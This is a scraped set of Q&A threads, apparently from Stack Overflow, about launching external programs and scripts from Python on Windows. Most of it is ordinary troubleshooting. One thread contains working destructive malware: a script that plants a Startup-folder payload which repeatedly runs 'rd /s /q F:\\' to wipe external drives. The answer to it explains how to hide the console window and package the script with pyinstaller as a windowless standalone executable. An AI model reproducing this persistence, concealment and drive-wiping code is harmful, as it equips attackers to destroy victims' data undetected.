I want to run a command with os.system but i get an error
c:/fe ' is not recognized as an internal or external command, operable program or batch file
The code I use is
import os
os.system('"C:\\fe re\\python.exe" program "c:\\test now\\test.txt" http://site.to.explore')
It will work if I only run:
import os
os.system('"C:\\fe re\\python.exe" program -h')
Or if I have no space in the python path like this
import os
os.system('C:\\fere\\python.exe program "c:\\test now\\test.txt" http://site.to.explore')
But if I have two pairs of double-quotes in the command both in python path and in txt path I get an error...
os.system has some serious drawbacks, especially with space in filenames and w.r.t. security. I suggest you look into the subprocess module and particularly subprocess.check_call, which is much more powerful. You could then do e.g.
import subprocess
subprocess.check_call(["c:\\fe re\\python.exe", "program", etcetc...])
Of course, make sure to take great care not to have user-determined variables in these calls unless the user is already running the script herself from the command line with the same privileges.
I don't agree with the subprocess module being the accepted answer.
I can make the same call to the system in ANY other language and not have one single issue. This is broken in python.
Here is my simple solution though to getting around this:
os.chdir("C:\\Program Files\\7-Zip")
os.system("7z.exe e \"{}\" -o\"{}\"\n".format(os.path.join(directory, file), self.out))
You simply change to the directory of your executable, then run the os.system command as normal.
Related
I wanted to ask if there is a way to run the commands of a command line program in python, but the codes must be executed repeatedly, namely, the solution I want is not this
os.system(f"xxx.exe {command}").
I tried subprocess.run function putting the name of the exe followed by the commands I want to execute inside the brackets and then these keyword args: stdout=subprocess.PIPE,text=True however, oddly it doesn't make data.stdout the whole output for some reason. Only the initial code's output is assigned to that. It is probably because the arguments inside the brackets don't represent different lines. Therefore, I guess the thing I've done using subprocess is the same as how I executed a single line of command via the os library.
Namely, my question is using subprocess or os, how can I execute codes that must be executed in different lines, or if not possible, how to execute commands from a command-line program one after another in python?
Edit: Should I make something like this?
os.system(f"xxx.exe {command1} \n {command2}")
It's kind of a shortcut but you could do something like this:
import os
import pyautogui
os.startfile('Path_to_command_prompt')
pyautogui.PAUSE = however long it takes to run each command
pyautogui.write('Command_1')
pyautogui.press('enter')
pyautogui.write('Command_2')
pyautogui.press('enter')
For the life of me i can't figure this one out.
I have 2 applications build in python, so 2 projects in different folders, is there a command to say in the first application like run file2 from documents/project2/test2.py ?
i tried something like os.system('') and exec() but that only seems to work if its in the same folder. How can i give a command a path like documents/project2 and then for example:
exec(documents/project2 python test2.py) ?
short version:
Is there a command that runs python test2.py while that test2 is in a completely different file/project?
thnx for all feedback!
There's a number of approaches to take.
1 - Import the .py
If the path to the other Python script can be made relative to your project, you can simply import the .py. This will cause all the code at the 'root' level of the script to be executed and makes functions as well as type and variable definitions available to the script importing it.
Of course, this only works if you control how and where everything is installed. It's the most preferable solution, but only works in limited situations.
import ..other_package.myscript
2 - Evaluate the code
You can load the contents of the Python file like any other text file and execute the contents. This is considered more of a security risk, but given the interpreted nature of Python in normal use not that much worse than an import under normal circumstances.
Here's how:
with open('/path/to/myscript.py', 'r') as f:
exec(f.read())
Note that, if you need to pass values to code inside the script, or out of it, you probably want to use files in this case.
I'd consider this the least preferable solution, due to it being a bit inflexible and not very secure, but it's definitely very easy to set up.
3 - Call it like any other external program
From a Python script, you can call any other executable, that includes Python itself with another script.
Here's how:
from subprocess import run
run('python path/to/myscript.py')
This is generally the preferable way to go about it. You can use the command line to interface with the script, and capture the output.
You can also pipe in text with stdin= or capture the output from the script with stdout=, using subprocess.Popen directly.
For example, take this script, called quote.py
import sys
text = sys.stdin.read()
print(f'In the words of the poet:\n"{text}"')
This takes any text from standard in and prints them with some extra text, to standard out like any Python script. You could call it like this:
dir | python quote.py
To use it from another Python script:
from subprocess import Popen, PIPE
s_in = b'something to say\nright here\non three lines'
p = Popen(['python', 'quote.py'], stdin=PIPE, stdout=PIPE)
s_out, _ = p.communicate(s_in)
print('Here is what the script produced:\n\n', s_out.decode())
Try this:
exec(open("FilePath").read())
It should work if you got the file path correct.
Mac example:
exec(open("/Users/saudalfaris/Desktop/Test.py").read())
Windows example:
exec(open("C:\Projects\Python\Test.py").read())
I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.
I've got a bash file that I normally execute using Cygwin.
I need to run this file from my Python code.
I tried this:
for bashfile in files:
p = Popen(bashfile, cwd=dname) #dname is the current directory of the script
stdout, stderr = p.communicate()
I've also seen a similar question here, but when trying to run it that way it says that it can't find the directory of my bash file...
Any ideas? Thanks! :-)
Edit: bashfile has a full path.
Do you need its output to get it directly to Python? If not this may be very fast and easy solution:
os.system("""here some code you use to execute in Terminal""")
You can also try this, though it does (and will no matter what you try) matter where the directory is. This, as far as the output goes, may be a little bit cleaner than the os method.
import commands
cmd="bash ./script.sh"
commands.getoutput(cmd)
If the case is that you need to change the directory:
cmd = "/path/to/your/script/script.sh"
The added benefit of using this method, versus say, os is that you can assign the output to a variable...
fun_times = commands.getoutput("bash ./script.sh")
whereas...
not_fun_times = os.system("./script.sh")
will throw an error.
etc, etc.
I just started working on Python, and I have been trying to run an outside executable from Python.
I have an executable for a program written in Fortran. Let’s say the name for the executable is flow.exe. And my executable is located in C:\Documents and Settings\flow_model. I tried both os.system and popen commands, but so far I couldn't make it work. The following code seems like it opens the command window, but it wouldn't execute the model.
# Import system modules
import sys, string, os, arcgisscripting
os.system("C:/Documents and Settings/flow_model/flow.exe")
How can I fix this?
If using Python 2.7 or higher (especially prior to Python 3.5) you can use the following:
import subprocess
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False)
Runs the command described by args. Waits for command to complete, then returns the returncode attribute.
subprocess.check_call(args, *, stdin=None, stdout=None, stderr=None, shell=False)
Runs command with arguments. Waits for command to complete. If the return code was zero then returns, otherwise raises CalledProcessError. The CalledProcessError object will have the return code in the returncode attribute
Example: subprocess.check_call([r"C:\pathToYourProgram\yourProgram.exe", "your", "arguments", "comma", "separated"])
In regular Python strings, the \U character combination signals a
extended Unicode code point escape.
Here is the link to the documentation: http://docs.python.org/3.2/library/subprocess.html
For Python 3.5+ you can now use run() in many cases: https://docs.python.org/3.5/library/subprocess.html#subprocess.run
Those whitespaces can really be a bother. Try os.chdir('C:/Documents\ and\ Settings/') followed by relative paths for os.system, subprocess methods, or whatever...
If best-effort attempts to bypass the whitespaces-in-path hurdle keep failing, then my next best suggestion is to avoid having blanks in your crucial paths. Couldn't you make a blanks-less directory, copy the crucial .exe file there, and try that? Are those havoc-wrecking space absolutely essential to your well-being...?
The simplest way is:
import os
os.startfile("C:\Documents and Settings\flow_model\flow.exe")
It works; I tried it.
I'd try inserting an 'r' in front of your path if I were you, to indicate that it's a raw string - and then you won't have to use forward slashes. For example:
os.system(r"C:\Documents and Settings\flow_model\flow.exe")
Your usage is correct. I bet that your external program, flow.exe, needs to be executed in its directory, because it accesses some external files stored there.
So you might try:
import sys, string, os, arcgisscripting
os.chdir('c:\\documents and settings\\flow_model')
os.system('"C:\\Documents and Settings\\flow_model\\flow.exe"')
(Beware of the double quotes inside the single quotes...)
Use subprocess, it is a smaller module so it runs the .exe quicker.
import subprocess
subprocess.Popen([r"U:\Year 8\kerbal space program\KSP.exe"])
By using os.system:
import os
os.system(r'"C:/Documents and Settings/flow_model/flow.exe"')
Try
import subprocess
subprocess.call(["C:/Documents and Settings/flow_model/flow.exe"])
If it were me, I'd put the EXE file in the root directory (C:) and see if it works like that. If so, it's probably the (already mentioned) spaces in the directory name. If not, it may be some environment variables.
Also, try to check you stderr (using an earlier answer by int3):
import subprocess
process = subprocess.Popen(["C:/Documents and Settings/flow_model/flow.exe"], \
stderr = subprocess.PIPE)
if process.stderr:
print process.stderr.readlines()
The code might not be entirely correct as I usually don't use Popen or Windows, but should give the idea. It might well be that the error message is on the error stream.
in python 2.6 use string enclosed inside quotation " and apostrophe ' marks. Also a change single / to double //.
Your working example will look like this:
import os
os.system("'C://Documents and Settings//flow_model//flow.exe'")
Also You can use any parameters if Your program ingest them.
os.system('C://"Program Files (x86)"//Maxima-gcl-5.37.3//gnuplot//bin//gnuplot -e "plot [-10:10] sin(x),atan(x),cos(atan(x)); pause mouse"')
finally You can use string variable, as an example is plotting using gnuplot directly from python:
this_program='C://"Program Files (x86)"//Maxima-gcl-5.37.3//gnuplot//bin//gnuplot'
this_par='-e "set polar; plot [-2*pi:2*pi] [-3:3] [-3:3] t*sin(t); pause -1"'
os.system(this_program+" "+this_par)
import os
path = "C:/Documents and Settings/flow_model/"
os.chdir(path)
os.system("flow.exe")
Note added by barlop
A commenter asked why this works. Here is why.
The OP's problem is os.system("...") doesn't work properly when there is a space in the path. (Note os.system can work with ('"...."') but anyhow)
Had the OP tried their program from a cmd prompt they'd have seen the error clearly.
C:\carp>type blah.py
import os
os.system(R"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")
C:\carp>python blah.py
'C:\Program' is not recognized as an internal or external command,
operable program or batch file.
C:\carp>
So it's fine for os.system("calc.exe") (there calc.exe is in the path environment variable). Or for os.system(R"c:\windows\system32\calc.exe"). There's no space in that path.
C:\>md "aa bb cc"
C:\>copy c:\windows\system32\calc.exe "c:\aa bb cc\cccalc.exe"
1 file(s) copied.
This works (Given file "c:\aa bb cc\cccalc.exe" )
import os
os.chdir(R"c:\aa bb cc")
os.system("cccalc.exe")
Other options are subprocess.run and subprocess.popen.
Is that trying to execute C:\Documents with arguments of "and", "Settings/flow_model/flow.exe"?
Also, you might consider subprocess.call().
There are loads of different solutions, and the results will strongly depend on:
the OS you are using: Windows, Cygwin, Linux, MacOS
the python version you are using: Python2 or Python3x
As I have discovered some things that are claimed to work only in Windows, doesn't, probably because I happen to use Cygwin which is outsmarting the OS way to deal with Windows paths. Other things only work in pure *nix based OS's or in Python2 or 3.
Here are my findings:
Generally speaking, os.system() is the most forgiving method.
os.startfile() is the least forgiving. (Windows only && if you're lucky)
subprocess.Popen([...]) not recommended
subprocess.run(winView, shell=True) the recommended way!
Remembering that using subprocess for anything may pose a security risk.
Try these:
import os, subprocess
...
winView = '/cygdrive/c/Windows/explorer.exe %s' % somefile
...
# chose one of these:
os.system(winView)
subprocess.Popen(['/cygdrive/c/Windows/explorer.exe', 'somefile.png'])
subprocess.run(winView, shell=True)
Q: Why would you want to use explorer in Windows?
A: Because if you just want to look at the results of some new file, explorer will automatically open the file with whatever default windows program you have set for that file type. So no need to re-specify the default program to use.
That's the correct usage, but perhaps the spaces in the path name are messing things up for some reason.
You may want to run the program under cmd.exe as well so you can see any output from flow.exe that might be indicating an error.
for the above question this solution works.
just change the path to where your executable file is located.
import sys, string, os
os.chdir('C:\\Downloads\\xpdf-tools-win-4.00\\xpdf-tools-win-4.00\\bin64')
os.system("C:\\Downloads\\xpdf-tools-win-4.00\\xpdf-tools-win-4.00\bin64\\flowwork.exe")
'''import sys, string, os
os.chdir('C:\\Downloads\\xpdf-tools-win-4.00\\xpdf-tools-win-4.00\\bin64')
os.system(r"C:\\Downloads\\xpdf-tools-win-4.00\\xpdf-tools-win-4.00\bin64\\pdftopng.exe test1.pdf rootimage")'''
Here test1.pdf rootimage is for my code .